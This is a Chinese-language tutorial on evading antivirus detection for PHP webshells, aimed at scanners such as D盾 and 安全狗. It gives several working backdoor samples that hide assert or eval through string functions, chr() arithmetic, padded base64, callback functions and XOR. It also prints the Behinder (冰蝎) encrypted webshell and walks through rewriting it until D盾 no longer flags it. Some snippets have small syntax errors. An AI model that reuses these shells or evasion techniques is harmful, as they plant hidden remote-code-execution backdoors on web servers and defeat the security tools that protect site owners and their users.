免杀思路
目前一句话webshell的查杀一般是通过特征查杀的,捕捉其结构中关键的两步,当检查到传入的参数被放在危险的命令执行方法中执行时,就会报后门。
所以需要分析这些查杀软件对哪些关键语句敏感,可以通过二分法寻找各个敏感的位置,然后通过其他方式重写这段会被检出的关键字或关键语句,就可初步达到免杀效果。
php5通常通过回调函数,编码拼接替换异或生成assert等方式实现免杀
php7常用y)模式,y为参数。通过多层构造拼接,替换,移位,异或编码等方式去除特征,构造y。
字符串变形
安全狗、D盾等查杀webshell时对执行命令的方法是最着重关注的,应对这种情况比较好用的免杀方式是在代码中不出现eval或assert等关键字
由于eval是语言构造器而不是函数
,所以不能被可变函数调用,一般会通过拼接assert来执行
如
#php5
<?php
$a="a";
$b="sse";
$c="00";
$d= substr_replace($a.$b.$c,"rt",4);
$d($_POST['a'];
?>
其余的字符串变形方式有:
ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。
但由于assert在php7.1之后无法这样使用,所以此类免杀方式基本仅能在php5环境下使用
编码绕过
编码也是一种替换敏感字段的方式,一般用到base64、ascii等各种方式
如ascii:
#php5
<?php
$a = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);#assert
$a($_POST['a'];
?>
如base64:
#php5
<?php
$a = base64_decode("YX__Nz_ZX____J0");
$a($_POST[x]);
?>
其中php中base64函数不会对下划线做处理,可以任意位置添加下划线干扰。
但如上两种仍然是assert方式,仅能用于php5。
目前php7中可以直接将eval函数放出来,将输入函数进行编码,虽然D盾等看到eval就会报告低级别的可疑但是仍然能使用,且网站安全狗不会阻碍执行。
如
#php5/php7
<?php
$_1 = base64_decode("X1B____PU1_____Q=___");
$_2=${$_1}[a];
eval($_2);
?>
回调函数
php5常用回调函数结合各种方式隐藏assert来执行命令
assert同样可使用各种字符处理方式,拼接,替换,移位,异或等方式去除特征
回调函数可用以下的列表
call_user_func_array()
call_user_func()
array_filter()
array_walk() array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()
如array_map:
<?php
function username()
{
$a = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);#assert
return ''.$a;
}
$user = username();
$pass =array($_GET['password']);
array_map($user,$user = $pass );
?>
如call_user_func_array:
<?php
$a = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
call_user_func_array($a, array($_GET['a']));
?>
此类方法仅适用php5,目前较有效,D盾可能会对回调函数报低级别可疑
异或等无字符特征
由于每一个字符都可由多组不同的两个字符异或而来,所以可以生成多个特征完全不同的木马。
<?php
$_1='_'.(hex2bin("10")^"@").(hex2bin("0F")^"@").(hex2bin("13")^"@").(hex2bin("14")^"@");
$_2=${$_1}[a];
eval($_2);
?>
冰蝎改造
冰蝎的动态二进制加密webshell是非常好的思路,冰蝎客户端自带的其他功能也较好用,有较多的安全从业者在使用,所以其自带的默认马已经完全无法免杀了。
不过由于大部分安全软件对其检测方式都是取默认马中的几段特征,用二分法很容易找到特征所在位置,只要将其特征位置替换为相同功能的语句即可免杀。
冰蝎默认马
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
直接使用D盾扫描该文件,报五级可疑,已知后门,通过多次二分法发现
目前D盾识别冰蝎用到的特征是以下三处
特征一
$post=file_get_contents("php://input");
特征二
$post[$i] = $post[$i]^$key[$i+1&15];
特征三
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
分别去除发现第三处是最严格的特征,将第三处重写为
class C{public function __construct($p) {eval($p."");}}
@new C($params);
我们可以通过多种之前提到的字符串处理方法处理这种类型的特征,此处我使用逆序函数处理
1.
$post=file_get_contents("php://input");
修改为
$post=(strrev("stnetnoc_teg_elif"))(strrev("tupni//:php"));
2.
if(!extension_loaded('openssl'))
修改为
if(!extension_loaded(strrev('lssnepo')))
3.
$t="base64_"."decode";
修改为
$t=strrev("edoced_46esab");
Copy
此时没了这些特征关键字,D盾只能识别为二级可疑了
然后处理第三处特征
$post[$i] = $post[$i]^$key[$i+1&15];
Copy
将其拆开增加一个变量赋值过程,并将后面的15提前定义为变量,最后将异或的两个参数逆序,最终得到如下webshell
<?php
@error_reporting(0);
session_start();
$kkk="e45e329feb5d925b";
$_SESSION['k']=$kkk;
$post=(strrev("stnetnoc_teg_elif"))(strrev("tupni//:php"));
$num=15;
if(!extension_loaded(strrev('lssnepo')))
{
$t=strrev("edoced_46esab");
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$temp= $kkk[$i+1&$num]^$post[$i];
$post[$i] =$temp;
}
}
else
{
$post=openssl_decrypt($post, "AES128", $kkk);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
?>
Copy
此时D盾已经无法检测(2021年3月)
最新D盾仍然可以报其二级可疑(2021年5月)
参考